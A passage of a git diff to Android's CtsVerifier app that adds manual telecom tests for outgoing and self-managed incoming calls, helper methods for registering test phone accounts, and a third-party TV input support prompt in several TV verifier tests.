+    private Button mRegisterAndEnablePhoneAccount;
+    private Button mConfirmPhoneAccountEnabled;
+    private Button mDialOutgoingCall;
+    private Button mConfirmOutgoingCall;
+
+    private ImageView mStep1Status;
+    private ImageView mStep2Status;
+    private ImageView mStep3Status;
+
+    private Uri TEST_DIAL_NUMBER = Uri.fromParts("tel", "5551212", null);
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.telecom_outgoing_call, null);
+        setContentView(view);
+        setInfoResources(R.string.telecom_outgoing_call_test,
+                R.string.telecom_outgoing_call_test_info, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mRegisterAndEnablePhoneAccount = view.findViewById(
+                R.id.telecom_outgoing_call_register_enable_phone_account_button);
+        if (mRegisterAndEnablePhoneAccount == null) {
+            finish();
+        }
+        mRegisterAndEnablePhoneAccount.setOnClickListener(v -> {
+            PhoneAccountUtils.registerTestPhoneAccount(this);
+            PhoneAccount account = PhoneAccountUtils.getPhoneAccount(this);
+            if (account != null) {
+                // Open the phone accounts screen to have the user set CtsConnectionService as
+                // the default.
+                Intent intent = new Intent(TelecomManager.ACTION_CHANGE_PHONE_ACCOUNTS);
+                startActivity(intent);
+
+                mConfirmPhoneAccountEnabled.setEnabled(true);
+            } else {
+                mStep1Status.setImageResource(R.drawable.fs_error);
+            }
+        });
+
+        mConfirmPhoneAccountEnabled = view.findViewById(R.id
+                .telecom_outgoing_call_confirm_register_button);
+        if (mConfirmPhoneAccountEnabled == null) {
+            finish();
+        }
+        mConfirmPhoneAccountEnabled.setOnClickListener(v -> {
+            PhoneAccount account = PhoneAccountUtils.getPhoneAccount(this);
+            PhoneAccountHandle defaultOutgoingAccount = PhoneAccountUtils
+                    .getDefaultOutgoingPhoneAccount(this) ;
+            if (account != null && account.isEnabled() &&
+                    PhoneAccountUtils.TEST_PHONE_ACCOUNT_HANDLE.equals(defaultOutgoingAccount)) {
+                getPassButton().setEnabled(true);
+                mStep1Status.setImageResource(R.drawable.fs_good);
+                mConfirmPhoneAccountEnabled.setEnabled(false);
+            } else {
+                mStep1Status.setImageResource(R.drawable.fs_error);
+            }
+        });
+        mConfirmPhoneAccountEnabled.setEnabled(false);
+
+        mDialOutgoingCall = view.findViewById(R.id.telecom_outgoing_call_dial_button);
+        if (mDialOutgoingCall == null) {
+            finish();
+        }
+        mDialOutgoingCall.setOnClickListener(v -> {
+            Intent intent = new Intent(Intent.ACTION_DIAL);
+            intent.setData(TEST_DIAL_NUMBER);
+            startActivity(intent);
+            mStep2Status.setImageResource(R.drawable.fs_good);
+        });
+
+        mConfirmOutgoingCall = view.findViewById(R.id.telecom_outgoing_call_confirm_button);
+        if (mConfirmOutgoingCall == null) {
+            finish();
+        }
+        mConfirmOutgoingCall.setOnClickListener(v -> {
+            if (confirmOutgoingCall()) {
+                mStep3Status.setImageResource(R.drawable.fs_good);
+            } else {
+                mStep3Status.setImageResource(R.drawable.fs_error);
+            }
+            PhoneAccountUtils.unRegisterTestPhoneAccount(this);
+        });
+
+        mStep1Status = view.findViewById(R.id.step_1_status);
+        mStep2Status = view.findViewById(R.id.step_2_status);
+        mStep3Status = view.findViewById(R.id.step_3_status);
+        mStep1Status.setImageResource(R.drawable.fs_indeterminate);
+        mStep2Status.setImageResource(R.drawable.fs_indeterminate);
+        mStep3Status.setImageResource(R.drawable.fs_indeterminate);
+    }
+
+    private boolean confirmOutgoingCall() {
+        if (CtsConnectionService.getConnectionService() == null) {
+            return false;
+        }
+        List<CtsConnection> ongoingConnections =
+                CtsConnectionService.getConnectionService().getConnections();
+        if (ongoingConnections == null || ongoingConnections.size() != 1) {
+            return false;
+        }
+        CtsConnection outgoingConnection = ongoingConnections.get(0);
+        if (outgoingConnection.isIncomingCall()) {
+            return false;
+        }
+        outgoingConnection.onDisconnect();
+        return true;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
index 4201ffd..6b0b3da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
@@ -43,6 +43,33 @@
             .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER)
             .build();
 
+    public static final String TEST_SELF_MAANGED_PHONE_ACCOUNT_ID = "selfMgdTest";
+    public static final String TEST_SELF_MANAGED_PHONE_ACCOUNT_LABEL = "CTSVerifier";
+    public static final Uri TEST_SELF_MANAGED_PHONE_ACCOUNT_ADDRESS =
+            Uri.parse("sip:sekf@android.com");
+    public static final PhoneAccountHandle TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE =
+            new PhoneAccountHandle(new ComponentName(
+                    PassFailButtons.class.getPackage().getName(),
+                    CtsConnectionService.class.getName()), TEST_SELF_MAANGED_PHONE_ACCOUNT_ID);
+    public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT = new PhoneAccount.Builder(
+            TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE, TEST_SELF_MANAGED_PHONE_ACCOUNT_LABEL)
+            .setAddress(TEST_SELF_MANAGED_PHONE_ACCOUNT_ADDRESS)
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+            .build();
+
+    public static final String TEST_SELF_MAANGED_PHONE_ACCOUNT2_ID = "selfMgdTest2";
+    public static final String TEST_SELF_MANAGED_PHONE_ACCOUNT2_LABEL = "CTSVerifier2";
+
+    public static final PhoneAccountHandle TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE_2 =
+            new PhoneAccountHandle(new ComponentName(
+                    PassFailButtons.class.getPackage().getName(),
+                    CtsConnectionService.class.getName()), TEST_SELF_MAANGED_PHONE_ACCOUNT2_ID);
+    public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT_2 = new PhoneAccount.Builder(
+            TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE_2, TEST_SELF_MANAGED_PHONE_ACCOUNT2_LABEL)
+            .setAddress(TEST_SELF_MANAGED_PHONE_ACCOUNT_ADDRESS)
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+            .build();
+
     /**
      * Registers the test phone account.
      * @param context The context.
@@ -73,4 +100,59 @@
                 Context.TELECOM_SERVICE);
         telecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
     }
+
+    /**
+     * Registers the test self-managed phone accounts.
+     * @param context The context.
+     */
+    public static void registerTestSelfManagedPhoneAccount(Context context) {
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(
+                Context.TELECOM_SERVICE);
+        telecomManager.registerPhoneAccount(TEST_SELF_MANAGED_PHONE_ACCOUNT);
+        telecomManager.registerPhoneAccount(TEST_SELF_MANAGED_PHONE_ACCOUNT_2);
+    }
+
+    /**
+     * Unregisters the test self-managed phone accounts.
+     * @param context The context.
+     */
+    public static void unRegisterTestSelfManagedPhoneAccount(Context context) {
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(
+                Context.TELECOM_SERVICE);
+        telecomManager.unregisterPhoneAccount(TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE);
+        telecomManager.unregisterPhoneAccount(TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE_2);
+    }
+
+    /**
+     * Retrieves the test phone account, or null if not registered.
+     * @param context The context.
+     * @return The Phone Account.
+     */
+    public static PhoneAccount getSelfManagedPhoneAccount(Context context) {
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(
+                Context.TELECOM_SERVICE);
+        return telecomManager.getPhoneAccount(TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE);
+    }
+
+    /**
+     * Gets the default outgoing phone account, or null if none selected.
+     * @param context The context.
+     * @return The PhoneAccountHandle
+     */
+    public static PhoneAccountHandle getDefaultOutgoingPhoneAccount(Context context) {
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(
+                Context.TELECOM_SERVICE);
+        return telecomManager.getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
+    }
+
+    /**
+     * Retrieves the test phone account, or null if not registered.
+     * @param context The context.
+     * @return The Phone Account.
+     */
+    public static PhoneAccount getSelfManagedPhoneAccount2(Context context) {
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(
+                Context.TELECOM_SERVICE);
+        return telecomManager.getPhoneAccount(TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE_2);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
new file mode 100644
index 0000000..2b06446
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.telecom;
+
+import android.content.Context;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.telecom.Connection;
+import android.telecom.PhoneAccount;
+import android.telecom.TelecomManager;
+import android.view.View;
+import android.widget.Button;
+import android.widget.ImageView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.List;
+
+/**
+ * This test verifies functionality associated with the Self-Managed
+ * {@link android.telecom.ConnectionService} APIs.  It ensures that Telecom will show an incoming
+ * call UI when a new incoming self-managed call is added when there is already an ongoing managed
+ * call or when there is an ongoing self-managed call in another app.
+ */
+public class SelfManagedIncomingCallTestActivity extends PassFailButtons.Activity {
+    private Uri TEST_DIAL_NUMBER_1 = Uri.fromParts("tel", "6505551212", null);
+    private Uri TEST_DIAL_NUMBER_2 = Uri.fromParts("tel", "4085551212", null);
+
+    private ImageView mStep1Status;
+    private Button mRegisterPhoneAccount;
+    private ImageView mStep2Status;
+    private Button mShowUi;
+    private ImageView mStep3Status;
+    private Button mConfirm;
+
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.telecom_self_managed_answer, null);
+        setContentView(view);
+        setInfoResources(R.string.telecom_incoming_self_mgd_test,
+                R.string.telecom_incoming_self_mgd_info, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mStep1Status = view.findViewById(R.id.step_1_status);
+        mRegisterPhoneAccount = view.findViewById(R.id.telecom_incoming_self_mgd_register_button);
+        mRegisterPhoneAccount.setOnClickListener(v -> {
+            PhoneAccountUtils.registerTestSelfManagedPhoneAccount(this);
+            PhoneAccount account = PhoneAccountUtils.getSelfManagedPhoneAccount(this);
+            PhoneAccount account2 = PhoneAccountUtils.getSelfManagedPhoneAccount2(this);
+            if (account != null &&
+                    account.isEnabled() &&
+                    account.hasCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED) &&
+                    account2 != null &&
+                    account2.isEnabled() &&
+                    account2.hasCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)) {
+                mRegisterPhoneAccount.setEnabled(false);
+                mShowUi.setEnabled(true);
+                mStep1Status.setImageResource(R.drawable.fs_good);
+            } else {
+                mStep1Status.setImageResource(R.drawable.fs_error);
+            }
+        });
+
+        mStep2Status = view.findViewById(R.id.step_2_status);
+        mShowUi = view.findViewById(R.id.telecom_incoming_self_mgd_show_ui_button);
+        mShowUi.setOnClickListener(v -> {
+            (new AsyncTask<Void, Void, Throwable>() {
+                @Override
+                protected Throwable doInBackground(Void... params) {
+                    try {
+                        Bundle extras = new Bundle();
+                        extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS,
+                                TEST_DIAL_NUMBER_1);
+                        TelecomManager telecomManager =
+                                (TelecomManager) getSystemService(Context.TELECOM_SERVICE);
+                        if (telecomManager == null) {
+                            mStep2Status.setImageResource(R.drawable.fs_error);
+                            return new Throwable("Could not get telecom service.");
+                        }
+                        telecomManager.addNewIncomingCall(
+                                PhoneAccountUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE, extras);
+
+                        CtsConnectionService ctsConnectionService =
+                                CtsConnectionService.waitForAndGetConnectionService();
+                        if (ctsConnectionService == null) {
+                            mStep2Status.setImageResource(R.drawable.fs_error);
+                            return new Throwable("Could not get connection service.");
+                        }
+
+                        CtsConnection connection = ctsConnectionService.waitForAndGetConnection();
+                        if (connection == null) {
+                            mStep2Status.setImageResource(R.drawable.fs_error);
+                            return new Throwable("Could not get connection.");
+                        }
+                        // Wait until the connection knows its audio state changed; at this point
+                        // Telecom knows about the connection and can answer.
+                        connection.waitForAudioStateChanged();
+                        // Make it active to simulate an answer.
+                        connection.setActive();
+
+                        // Place the second call. It should trigger the incoming call UX.
+                        Bundle extras2 = new Bundle();
+                        extras2.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS,
+                                TEST_DIAL_NUMBER_2);
+                        telecomManager.addNewIncomingCall(
+                                PhoneAccountUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE_2,
+                                extras2);
+
+                        return null;
+                    } catch (Throwable t) {
+                        return  t;
+                    }
+                }
+
+                @Override
+                protected void onPostExecute(Throwable t) {
+                    if (t == null) {
+                        mStep2Status.setImageResource(R.drawable.fs_good);
+                        mShowUi.setEnabled(false);
+                        mConfirm.setEnabled(true);
+                    } else {
+                        mStep2Status.setImageResource(R.drawable.fs_error);
+                    }
+                }
+            }).execute();
+
+
+        });
+
+        mStep3Status = view.findViewById(R.id.step_3_status);
+        mConfirm = view.findViewById(R.id.telecom_incoming_self_mgd_confirm_answer_button);
+        mConfirm.setOnClickListener(v -> {
+            CtsConnectionService ctsConnectionService = CtsConnectionService.getConnectionService();
+            if (ctsConnectionService == null) {
+                mStep3Status.setImageResource(R.drawable.fs_error);
+                return;
+            }
+            List<CtsConnection> connections = ctsConnectionService.getConnections();
+            if (connections.size() != 1) {
+                mStep3Status.setImageResource(R.drawable.fs_error);
+                return;
+            }
+
+            if (connections.get(0).getState() == Connection.STATE_ACTIVE) {
+                connections
+                        .stream()
+                        .forEach((c) -> c.onDisconnect());
+                mStep3Status.setImageResource(R.drawable.fs_good);
+                getPassButton().setEnabled(true);
+            } else {
+                mStep3Status.setImageResource(R.drawable.fs_error);
+            }
+
+            PhoneAccountUtils.unRegisterTestSelfManagedPhoneAccount(this);
+        });
+
+        mShowUi.setEnabled(false);
+        mConfirm.setEnabled(false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/AppLinkTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/AppLinkTestActivity.java
index 43f293a..3e8790b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/AppLinkTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/AppLinkTestActivity.java
@@ -37,6 +37,8 @@
     private View mSelectAppLinkItem;
     private View mVerifyAppLinkIntentItem;
     private View mVerifyAppLinkCardItem;
+    private View mSupportThirdPartyInputYesItem;
+    private View mSupportThirdPartyInputNoItem;
 
     Runnable mSelectAppLinkFailCallback;
 
@@ -44,7 +46,17 @@
     public void onClick(View v) {
         final View postTarget = getPostTarget();
 
-        if (containsButton(mSelectAppLinkItem, v)) {
+        if (containsButton(mSupportThirdPartyInputYesItem, v)) {
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            setButtonEnabled(mSelectAppLinkItem, true);
+            return;
+        } else if (containsButton(mSupportThirdPartyInputNoItem, v)){
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            getPassButton().setEnabled(true);
+            return;
+        } else if (containsButton(mSelectAppLinkItem, v)) {
             Intent tvAppIntent = null;
             String[] projection = { TvContract.Channels._ID };
             try (Cursor cursor = getContentResolver().query(
@@ -92,9 +104,14 @@
 
     @Override
     protected void createTestItems() {
+        mSupportThirdPartyInputYesItem = createUserItem(
+                R.string.tv_input_discover_test_third_party_tif_input_support,
+                R.string.tv_yes, this);
+        setButtonEnabled(mSupportThirdPartyInputYesItem, true);
+        mSupportThirdPartyInputNoItem = createButtonItem(R.string.tv_no, this);
+        setButtonEnabled(mSupportThirdPartyInputNoItem, true);
         mSelectAppLinkItem = createUserItem(R.string.tv_app_link_test_select_app_link,
                 R.string.tv_launch_tv_app, this);
-        setButtonEnabled(mSelectAppLinkItem, true);
         mVerifyAppLinkIntentItem = createAutoItem(
                 R.string.tv_app_link_test_verify_link_clicked);
         mVerifyAppLinkCardItem = createUserItem(R.string.tv_input_link_test_verify_link_interface,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/MultipleTracksTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/MultipleTracksTestActivity.java
index a912cc6..a31162f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/MultipleTracksTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/MultipleTracksTestActivity.java
@@ -16,23 +16,16 @@
 
 package com.android.cts.verifier.tv;
 
-import com.android.cts.verifier.R;
 import android.annotation.SuppressLint;
 import android.content.Intent;
 import android.database.Cursor;
-import android.media.tv.TvContentRating;
 import android.media.tv.TvContract;
-import android.media.tv.TvInputManager;
 import android.media.tv.TvTrackInfo;
-import android.os.Bundle;
-import android.view.LayoutInflater;
 import android.view.View;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.ImageView;
-import android.widget.TextView;
 import android.widget.Toast;
 
+import com.android.cts.verifier.R;
+
 /**
  * Tests for verifying TV app behavior on multiple tracks and subtitle.
  */
@@ -48,6 +41,8 @@
     private View mVerifySelectSubtitleItem;
     private View mSelectAudioItem;
     private View mVerifySelectAudioItem;
+    private View mSupportThirdPartyInputYesItem;
+    private View mSupportThirdPartyInputNoItem;
 
     private Intent mTvAppIntent = null;
 
@@ -55,7 +50,17 @@
     public void onClick(View v) {
         final View postTarget = getPostTarget();
 
-        if (containsButton(mSelectSubtitleItem, v)) {
+        if (containsButton(mSupportThirdPartyInputYesItem, v)) {
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            setButtonEnabled(mSelectSubtitleItem, true);
+            return;
+        } else if (containsButton(mSupportThirdPartyInputNoItem, v)){
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            getPassButton().setEnabled(true);
+            return;
+        } else if (containsButton(mSelectSubtitleItem, v)) {
             final Runnable failCallback = new Runnable() {
                 @Override
                 public void run() {
@@ -132,10 +137,15 @@
 
     @Override
     protected void createTestItems() {
+        mSupportThirdPartyInputYesItem = createUserItem(
+                R.string.tv_input_discover_test_third_party_tif_input_support,
+                R.string.tv_yes, this);
+        setButtonEnabled(mSupportThirdPartyInputYesItem, true);
+        mSupportThirdPartyInputNoItem = createButtonItem(R.string.tv_no, this);
+        setButtonEnabled(mSupportThirdPartyInputNoItem, true);
         mSelectSubtitleItem = createUserItem(
                 R.string.tv_multiple_tracks_test_select_subtitle,
                 R.string.tv_launch_tv_app, this);
-        setButtonEnabled(mSelectSubtitleItem, true);
         mVerifySetCaptionEnabledItem = createAutoItem(
                 R.string.tv_multiple_tracks_test_verify_set_caption_enabled);
         mVerifySelectSubtitleItem = createAutoItem(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/ParentalControlTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/ParentalControlTestActivity.java
index 5e3d08a..2e5711f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/ParentalControlTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/ParentalControlTestActivity.java
@@ -16,22 +16,17 @@
 
 package com.android.cts.verifier.tv;
 
-import com.android.cts.verifier.R;
 import android.annotation.SuppressLint;
 import android.content.Intent;
 import android.database.Cursor;
 import android.media.tv.TvContentRating;
 import android.media.tv.TvContract;
 import android.media.tv.TvInputManager;
-import android.os.Bundle;
-import android.view.LayoutInflater;
 import android.view.View;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.ImageView;
-import android.widget.TextView;
 import android.widget.Toast;
 
+import com.android.cts.verifier.R;
+
 /**
  * Tests for verifying TV app behavior on parental control.
  */
@@ -47,8 +42,10 @@
     private View mBlockTvMaItem;
     private View mVerifyReceiveBroadcast2Item;
     private View mBlockUnblockItem;
-    private View mParantalControlsSwitchYesItem;
-    private View mParantalControlsSwitchNoItem;
+    private View mParentalControlsSwitchYesItem;
+    private View mParentalControlsSwitchNoItem;
+    private View mSupportThirdPartyInputYesItem;
+    private View mSupportThirdPartyInputNoItem;
 
     private Intent mTvAppIntent = null;
 
@@ -56,9 +53,20 @@
     public void onClick(View v) {
         final View postTarget = getPostTarget();
 
-        if (containsButton(mParantalControlsSwitchYesItem, v)) {
-            setPassState(mParantalControlsSwitchYesItem, true);
-            setButtonEnabled(mParantalControlsSwitchNoItem, false);
+        if (containsButton(mSupportThirdPartyInputYesItem, v)) {
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            setButtonEnabled(mParentalControlsSwitchYesItem, true);
+            setButtonEnabled(mParentalControlsSwitchNoItem, true);
+            return;
+        } else if (containsButton(mSupportThirdPartyInputNoItem, v)){
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            getPassButton().setEnabled(true);
+            return;
+        } else if (containsButton(mParentalControlsSwitchYesItem, v)) {
+            setPassState(mParentalControlsSwitchYesItem, true);
+            setButtonEnabled(mParentalControlsSwitchNoItem, false);
             mTurnOnParentalControlItem.setVisibility(View.VISIBLE);
             mVerifyReceiveBroadcast1Item.setVisibility(View.VISIBLE);
             mBlockTvMaItem.setVisibility(View.VISIBLE);
@@ -66,9 +74,9 @@
             mBlockUnblockItem.setVisibility(View.VISIBLE);
             setButtonEnabled(mTurnOnParentalControlItem, true);
             return;
-        } else if (containsButton(mParantalControlsSwitchNoItem, v)){
-            setPassState(mParantalControlsSwitchYesItem, true);
-            setButtonEnabled(mParantalControlsSwitchNoItem, false);
+        } else if (containsButton(mParentalControlsSwitchNoItem, v)){
+            setPassState(mParentalControlsSwitchYesItem, true);
+            setButtonEnabled(mParentalControlsSwitchNoItem, false);
             mBlockTvMaItem.setVisibility(View.VISIBLE);
             mVerifyReceiveBroadcast2Item.setVisibility(View.VISIBLE);
             mBlockUnblockItem.setVisibility(View.VISIBLE);
@@ -149,13 +157,16 @@
 
     @Override
     protected void createTestItems() {
-        mParantalControlsSwitchYesItem = createUserItem(
+        mSupportThirdPartyInputYesItem = createUserItem(
+                R.string.tv_input_discover_test_third_party_tif_input_support,
+                R.string.tv_yes, this);
+        setButtonEnabled(mSupportThirdPartyInputYesItem, true);
+        mSupportThirdPartyInputNoItem = createButtonItem(R.string.tv_no, this);
+        setButtonEnabled(mSupportThirdPartyInputNoItem, true);
+        mParentalControlsSwitchYesItem = createUserItem(
                 R.string.tv_parental_control_test_check_parental_controls_switch,
-                R.string.tv_parental_control_turn_off_enabled, this);
-        setButtonEnabled(mParantalControlsSwitchYesItem, true);
-        mParantalControlsSwitchNoItem = createButtonItem(
-                R.string.tv_parental_control_turn_off_disabled, this);
-        setButtonEnabled(mParantalControlsSwitchNoItem, true);
+                R.string.tv_yes, this);
+        mParentalControlsSwitchNoItem = createButtonItem(R.string.tv_no, this);
         mTurnOnParentalControlItem = createUserItem(
                 R.string.tv_parental_control_test_turn_on_parental_control,
                 R.string.tv_launch_tv_app, this);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TimeShiftTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TimeShiftTestActivity.java
index 5e4036c..41db8e7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TimeShiftTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TimeShiftTestActivity.java
@@ -47,13 +47,26 @@
     private View mVerifySeekToPreviousItem;
     private View mVerifySeekToNextItem;
 
+    private View mSupportThirdPartyInputYesItem;
+    private View mSupportThirdPartyInputNoItem;
+
     private Intent mTvAppIntent = null;
 
     @Override
     public void onClick(View v) {
         final View postTarget = getPostTarget();
 
-        if (containsButton(mPauseResumeItem, v)) {
+        if (containsButton(mSupportThirdPartyInputYesItem, v)) {
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            setButtonEnabled(mPauseResumeItem, true);
+            return;
+        } else if (containsButton(mSupportThirdPartyInputNoItem, v)){
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            getPassButton().setEnabled(true);
+            return;
+        } else if (containsButton(mPauseResumeItem, v)) {
             mVerifyResumeAfterPauseItem.setTag(NOT_PASSED);
             mVerifyPositionTrackingItem.setTag(NOT_PASSED);
 
@@ -186,10 +199,15 @@
 
     @Override
     protected void createTestItems() {
+        mSupportThirdPartyInputYesItem = createUserItem(
+                R.string.tv_input_discover_test_third_party_tif_input_support,
+                R.string.tv_yes, this);
+        setButtonEnabled(mSupportThirdPartyInputYesItem, true);
+        mSupportThirdPartyInputNoItem = createButtonItem(R.string.tv_no, this);
+        setButtonEnabled(mSupportThirdPartyInputNoItem, true);
         mPauseResumeItem = createUserItem(
                 R.string.tv_time_shift_test_pause_resume,
                 R.string.tv_launch_tv_app, this);
-        setButtonEnabled(mPauseResumeItem, true);
         mVerifyResumeAfterPauseItem = createAutoItem(
                 R.string.tv_time_shift_test_verify_resume_after_pause);
         mVerifyPositionTrackingItem = createAutoItem(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
index cb50fac..d580ef8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
@@ -16,11 +16,6 @@
 
 package com.android.cts.verifier.tv;
 
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import android.content.Intent;
-import android.media.tv.TvContract;
 import android.os.Bundle;
 import android.view.LayoutInflater;
 import android.view.View;
@@ -29,6 +24,9 @@
 import android.widget.ImageView;
 import android.widget.TextView;
 
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
 /**
  * Base class for TV app tests.
  */
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
index ff8c1e8..f1f79cf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
@@ -53,6 +53,8 @@
     private View mVerifyEpgItem;
     private View mTriggerSetupItem;
     private View mVerifyTriggerSetupItem;
+    private View mSupportThirdPartyInputYesItem;
+    private View mSupportThirdPartyInputNoItem;
     private boolean mTuneVerified;
     private boolean mOverlayViewVerified;
     private boolean mGlobalSearchVerified;
@@ -62,7 +64,17 @@
     public void onClick(View v) {
         final View postTarget = getPostTarget();
 
-        if (containsButton(mGoToSetupItem, v)) {
+        if (containsButton(mSupportThirdPartyInputYesItem, v)) {
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            setButtonEnabled(mGoToSetupItem, true);
+            return;
+        } else if (containsButton(mSupportThirdPartyInputNoItem, v)){
+            setPassState(mSupportThirdPartyInputYesItem, true);
+            setButtonEnabled(mSupportThirdPartyInputNoItem, false);
+            getPassButton().setEnabled(true);
+            return;
+        } else if (containsButton(mGoToSetupItem, v)) {
             final Runnable failCallback = new Runnable() {
                 @Override
                 public void run() {
@@ -139,9 +151,14 @@
 
     @Override
     protected void createTestItems() {
+        mSupportThirdPartyInputYesItem = createUserItem(
+                R.string.tv_input_discover_test_third_party_tif_input_support,
+                R.string.tv_yes, this);
+        setButtonEnabled(mSupportThirdPartyInputYesItem, true);
+        mSupportThirdPartyInputNoItem = createButtonItem(R.string.tv_no, this);
+        setButtonEnabled(mSupportThirdPartyInputNoItem, true);
         mGoToSetupItem = createUserItem(R.string.tv_input_discover_test_go_to_setup,
                 R.string.tv_launch_tv_app, this);
-        setButtonEnabled(mGoToSetupItem, true);
         mVerifySetupItem = createAutoItem(R.string.tv_input_discover_test_verify_setup);
         mTuneToChannelItem = createUserItem(R.string.tv_input_discover_test_tune_to_channel,
                 R.string.tv_launch_tv_app, this);
@@ -155,11 +172,11 @@
         mGoToEpgItem = createUserItem(R.string.tv_input_discover_test_go_to_epg,
                 R.string.tv_launch_epg, this);
